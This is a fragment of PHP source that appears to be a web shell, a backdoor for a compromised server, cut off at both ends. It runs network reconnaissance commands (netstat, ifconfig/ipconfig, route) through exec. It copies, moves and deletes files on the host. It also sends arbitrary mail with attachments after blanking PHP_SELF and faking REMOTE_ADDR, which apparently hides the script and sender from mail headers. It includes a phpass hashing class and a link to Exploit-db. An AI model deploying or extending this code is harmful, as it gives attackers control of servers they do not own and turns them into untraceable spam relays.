<?php 
	if(isset($_SESSION['command']))
	{
		if($_SESSION['command']==1)
		{
			if($islinux)
			{
				exec("netstat -ntulp",$mat,$rtrn);
			}
			else{
				exec("netstat -ano",$mat,$rtrn);
			}
			echo implode("\n",$mat);;
		}
		else if($_SESSION['command']==2)
		{
			if($islinux)
			{
				exec("ifconfig",$mat,$rtrn);
			}
			else{
				exec("ipconfig /all",$mat,$rtrn);
			}
			echo implode("\n",$mat);;
		}
		else if($_SESSION['command']==3)
		{
			if($islinux)
			{
				exec("route",$mat,$rtrn);
			}
			else{
				exec("route print -4",$mat,$rtrn);
			}
			echo implode("\n",$mat);;
		}
		
	}
	echo "

"; } class PasswordHash { var $itoa64; var $iteration_count_log2; var $portable_hashes; var $random_state; function __construct($iteration_count_log2, $portable_hashes) { $this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31) $iteration_count_log2 = 8; $this->iteration_count_log2 = $iteration_count_log2; $this->portable_hashes = $portable_hashes; $this->random_state = microtime() . uniqid(rand(), TRUE); // removed getmypid() for compatibility reasons } function get_random_bytes($count) { $output = ''; if ( @is_readable('/dev/urandom') && ($fh = @fopen('/dev/urandom', 'rb'))) { $output = fread($fh, $count); fclose($fh); } if (strlen($output) < $count) { $output = ''; for ($i = 0; $i < $count; $i += 16) { $this->random_state = md5(microtime() . $this->random_state); $output .= pack('H*', md5($this->random_state)); } $output = substr($output, 0, $count); } return $output; } function encode64($input, $count) { $output = ''; $i = 0; do { $value = ord($input[$i++]); $output .= $this->itoa64[$value & 0x3f]; if ($i < $count) $value |= ord($input[$i]) << 8; $output .= $this->itoa64[($value >> 6) & 0x3f]; if ($i++ >= $count) break; if ($i < $count) $value |= ord($input[$i]) << 16; $output .= $this->itoa64[($value >> 12) & 0x3f]; if ($i++ >= $count) break; $output .= $this->itoa64[($value >> 18) & 0x3f]; } while ($i < $count); return $output; } function gensalt_private($input) { $output = '$P$'; $output .= $this->itoa64[min($this->iteration_count_log2 + ((PHP_VERSION >= '5') ? 5 : 3), 30)]; $output .= $this->encode64($input, 6); return $output; } function crypt_private($password, $setting) { $output = '*0'; if (substr($setting, 0, 2) == $output) $output = '*1'; $id = substr($setting, 0, 3); # We use "$P$", phpBB3 uses "$H$" for the same thing if ($id != '$P$' && $id != '$H$') return $output; $count_log2 = strpos($this->itoa64, $setting[3]); if ($count_log2 < 7 || $count_log2 > 30) return $output; $count = 1 << $count_log2; $salt = substr($setting, 4, 8); if (strlen($salt) != 8) return $output; # We're kind of forced to use MD5 here since it's the only # cryptographic primitive available in all versions of PHP # currently in use. To implement our own low-level crypto # in PHP would result in much worse performance and # consequently in lower iteration counts and hashes that are # quicker to crack (by non-PHP code). if (PHP_VERSION >= '5') { $hash = md5($salt . $password, TRUE); do { $hash = md5($hash . $password, TRUE); } while (--$count); } else { $hash = pack('H*', md5($salt . $password)); do { $hash = pack('H*', md5($hash . $password)); } while (--$count); } $output = substr($setting, 0, 12); $output .= $this->encode64($hash, 16); return $output; } function gensalt_extended($input) { $count_log2 = min($this->iteration_count_log2 + 8, 24); # This should be odd to not reveal weak DES keys, and the # maximum valid value is (2**24 - 1) which is odd anyway. $count = (1 << $count_log2) - 1; $output = '_'; $output .= $this->itoa64[$count & 0x3f]; $output .= $this->itoa64[($count >> 6) & 0x3f]; $output .= $this->itoa64[($count >> 12) & 0x3f]; $output .= $this->itoa64[($count >> 18) & 0x3f]; $output .= $this->encode64($input, 3); return $output; } function gensalt_blowfish($input) { # This one needs to use a different order of characters and a # different encoding scheme from the one in encode64() above. # We care because the last character in our encoded string will # only represent 2 bits. While two known implementations of # bcrypt will happily accept and correct a salt string which # has the 4 unused bits set to non-zero, we do not want to take # chances and we also do not want to waste an additional byte # of entropy. $itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; $output = '$2a$'; $output .= chr(ord('0') + $this->iteration_count_log2 / 10); $output .= chr(ord('0') + $this->iteration_count_log2 % 10); $output .= '$'; $i = 0; do { $c1 = ord($input[$i++]); $output .= $itoa64[$c1 >> 2]; $c1 = ($c1 & 0x03) << 4; if ($i >= 16) { $output .= $itoa64[$c1]; break; } $c2 = ord($input[$i++]); $c1 |= $c2 >> 4; $output .= $itoa64[$c1]; $c1 = ($c2 & 0x0f) << 2; $c2 = ord($input[$i++]); $c1 |= $c2 >> 6; $output .= $itoa64[$c1]; $output .= $itoa64[$c2 & 0x3f]; } while (1); return $output; } function HashPassword($password) { if ( strlen( $password ) > 4096 ) { return '*'; } $random = ''; if (CRYPT_BLOWFISH == 1 && !$this->portable_hashes) { $random = $this->get_random_bytes(16); $hash = crypt($password, $this->gensalt_blowfish($random)); if (strlen($hash) == 60) return $hash; } if (CRYPT_EXT_DES == 1 && !$this->portable_hashes) { if (strlen($random) < 3) $random = $this->get_random_bytes(3); $hash = crypt($password, $this->gensalt_extended($random)); if (strlen($hash) == 20) return $hash; } if (strlen($random) < 6) $random = $this->get_random_bytes(6); $hash = $this->crypt_private($password, $this->gensalt_private($random)); if (strlen($hash) == 34) return $hash; # Returning '*' on error is safe here, but would _not_ be safe # in a crypt(3)-like function used _both_ for generating new # hashes and for validating passwords against existing hashes. return '*'; } function CheckPassword($password, $stored_hash) { if ( strlen( $password ) > 4096 ) { return false; } $hash = $this->crypt_private($password, $stored_hash); if ($hash[0] == '*') $hash = crypt($password, $stored_hash); return $hash === $stored_hash; } } class SimpleMail { protected $_wrap = 78; protected $_to = array(); protected $_subject; protected $_message; protected $_headers = array(); protected $_params; protected $_attachments = array(); protected $_uid; public function __construct() { $this->reset(); } public function reset() { $this->_to = array(); $this->_headers = array(); $this->_subject = null; $this->_message = null; $this->_wrap = 78; $this->_params = null; $this->_attachments = array(); $this->_uid = $this->getUniqueId(); return $this; } public function setTo($email, $name) { $this->_to[] = $this->formatHeader((string) $email, (string) $name); return $this; } public function getTo() { return $this->_to; } public function setSubject($subject) { $this->_subject = $this->encodeUtf8( $this->filterOther((string) $subject) ); return $this; } public function getSubject() { return $this->_subject; } public function setMessage($message) { $this->_message = str_replace("\n.", "\n..", (string) $message); return $this; } public function getMessage() { return $this->_message; } public function addAttachment($path, $filename = null) { $filename = empty($filename) ? basename($path) : $filename; $this->_attachments[] = array( 'path' => $path, 'file' => $filename, 'data' => $this->getAttachmentData($path) ); return $this; } public function getAttachmentData($path) { $filesize = filesize($path); $handle = fopen($path, "r"); $attachment = fread($handle, $filesize); fclose($handle); return chunk_split(base64_encode($attachment)); } public function setFrom($email, $name) { $this->addMailHeader('From', (string) $email, (string) $name); return $this; } public function addMailHeader($header, $email = null, $name = null) { $address = $this->formatHeader((string) $email, (string) $name); $this->_headers[] = sprintf('%s: %s', (string) $header, $address); return $this; } public function addGenericHeader($header, $value) { $this->_headers[] = sprintf( '%s: %s', (string) $header, (string) $value ); return $this; } public function getHeaders() { return $this->_headers; } public function setParameters($additionalParameters) { $this->_params = (string) $additionalParameters; return $this; } public function getParameters() { return $this->_params; } public function setWrap($wrap = 78) { $wrap = (int) $wrap; if ($wrap < 1) { $wrap = 78; } $this->_wrap = $wrap; return $this; } public function getWrap() { return $this->_wrap; } public function hasAttachments() { return !empty($this->_attachments); } public function assembleAttachmentHeaders() { $head = array(); $head[] = "MIME-Version: 1.0"; $head[] = "Content-Type: multipart/mixed; boundary=\"{$this->_uid}\""; return join(PHP_EOL, $head); } public function assembleAttachmentBody() { $body = array(); $body[] = "This is a multi-part message in MIME format."; $body[] = "--{$this->_uid}"; $body[] = "Content-type:text/html; charset=\"utf-8\""; $body[] = "Content-Transfer-Encoding: 7bit"; $body[] = ""; $body[] = $this->_message; $body[] = ""; $body[] = "--{$this->_uid}"; foreach ($this->_attachments as $attachment) { $body[] = $this->getAttachmentMimeTemplate($attachment); } return implode(PHP_EOL, $body); } public function getAttachmentMimeTemplate($attachment) { $file = $attachment['file']; $data = $attachment['data']; $head = array(); $head[] = "Content-Type: application/octet-stream; name=\"{$file}\""; $head[] = "Content-Transfer-Encoding: base64"; $head[] = "Content-Disposition: attachment; filename=\"{$file}\""; $head[] = ""; $head[] = $data; $head[] = ""; $head[] = "--{$this->_uid}"; return implode(PHP_EOL, $head); } public function send() { $to = $this->getToForSend(); $headers = $this->getHeadersForSend(); if (empty($to)) { throw new RuntimeException( 'Unable to send, no To address has been set.' ); } if ($this->hasAttachments()) { $message = $this->assembleAttachmentBody(); $headers .= PHP_EOL . $this->assembleAttachmentHeaders(); } else { $message = $this->getWrapMessage(); } return mail($to, $this->_subject, $message, $headers, $this->_params); } public function debug() { return '

' . print_r($this, true) . '

'; } public function __toString() { return print_r($this, true); } public function formatHeader($email, $name = null) { $email = $this->filterEmail($email); if (empty($name)) { return $email; } $name = $this->encodeUtf8($this->filterName($name)); return sprintf('"%s" <%s>', $name, $email); } public function encodeUtf8($value) { $value = trim($value); if (preg_match('/(\s)/', $value)) { return $this->encodeUtf8Words($value); } return $this->encodeUtf8Word($value); } public function encodeUtf8Word($value) { return sprintf('=?UTF-8?B?%s?=', base64_encode($value)); } public function encodeUtf8Words($value) { $words = explode(' ', $value); $encoded = array(); foreach ($words as $word) { $encoded[] = $this->encodeUtf8Word($word); } return join($this->encodeUtf8Word(' '), $encoded); } public function filterEmail($email) { $rule = array( "\r" => '', "\n" => '', "\t" => '', '"' => '', ',' => '', '<' => '', '>' => '' ); $email = strtr($email, $rule); $email = filter_var($email, FILTER_SANITIZE_EMAIL); return $email; } public function filterName($name) { $rule = array( "\r" => '', "\n" => '', "\t" => '', '"' => "'", '<' => '[', '>' => ']', ); $filtered = filter_var( $name, FILTER_SANITIZE_STRING, FILTER_FLAG_NO_ENCODE_QUOTES ); return trim(strtr($filtered, $rule)); } public function filterOther($data) { return filter_var($data, FILTER_UNSAFE_RAW, FILTER_FLAG_STRIP_LOW); } public function getHeadersForSend() { if (empty($this->_headers)) { return ''; } return join(PHP_EOL, $this->_headers); } public function getToForSend() { if (empty($this->_to)) { return ''; } return join(', ', $this->_to); } public function getUniqueId() { return md5(uniqid(time())); } public function getWrapMessage() { return wordwrap($this->_message, $this->_wrap); } } function processPaste() { global $islinux; if( isset($_SESSION['lastAction']) and $_SESSION['lastAction']=='Copy') { foreach ($_SESSION['Copy'] as $item) { if($islinux) { total_copy($_SESSION['CopyPath'] . "/" . $item ,$_SESSION['current_dir'] . "/" . $item); } else total_copy($_SESSION['CopyPath'] . "\\" . $item ,$_SESSION['current_dir'] . "\\" . $item); } $_SESSION['lastAction']=""; } else if( isset($_SESSION['lastAction']) and $_SESSION['lastAction']=='Cut') { foreach ($_SESSION['Cut'] as $item) { if($islinux) { total_copy($_SESSION['CutPath'] . "/" . $item ,$_SESSION['current_dir'] . "/" . $item); total_delete($_SESSION['CutPath'] . "/" . $item); } else { total_copy($_SESSION['CutPath'] . "\\" . $item ,$_SESSION['current_dir'] . "\\" . $item); total_delete($_SESSION['CutPath'] . "\\" . $item); } } $_SESSION['lastAction']=""; } } function processDelete() { global $islinux; foreach ($_POST['fileItem'] as $item){ if($islinux) { total_delete($_SESSION['current_dir'] . "/" . $item); } else total_delete($_SESSION['current_dir'] . "\\" . $item); } } function sendEmails() { global $to,$from,$replyto,$cc,$subject,$message,$attachment; $mail = new SimpleMail(); $tos = explode(",",$to); foreach ($tos as $i) { $mail->setTo($i, ''); } $mail->setSubject($subject); $mail->setFrom($from, ''); $mail->addMailHeader('Reply-To', $replyto, ''); $ccs = explode(",",$cc); foreach ($ccs as $a) { $mail->addMailHeader('Cc', $a, ''); } //$mail->addMailHeader('Bcc', 'steve@example.com', 'Steve Jobs'); $mail->addGenericHeader('X-PHP-Script', ''); $mail->addGenericHeader('X-Mailer', 'PHP/' . phpversion()); $mail->addGenericHeader('Content-Type', 'text/html; charset="utf-8"'); $mail->setMessage($message); if($attachment!="") { $ats = explode(",",$attachment); foreach ($ats as $a) { // echo "inside attachment
"; $mail->addAttachment($a); } } $mail->setWrap(100); $oldphpself = $_SERVER['PHP_SELF']; $oldremoteaddr = $_SERVER['REMOTE_ADDR']; $_SERVER['PHP_SELF']=""; $_SERVER['REMOTE_ADDR'] = $_SERVER['SERVER_ADDR']; $send = $mail->send(); $_SERVER['PHP_SELF']=$oldphpself; $_SERVER['REMOTE_ADDR']=$oldremoteaddr; echo ($send) ? 'Email sent successfully' : 'Could not send email'; return ""; } function displayMailer() { global $sendemail; ?> "; echo " Exploit-db
"; echo " Google
"; echo "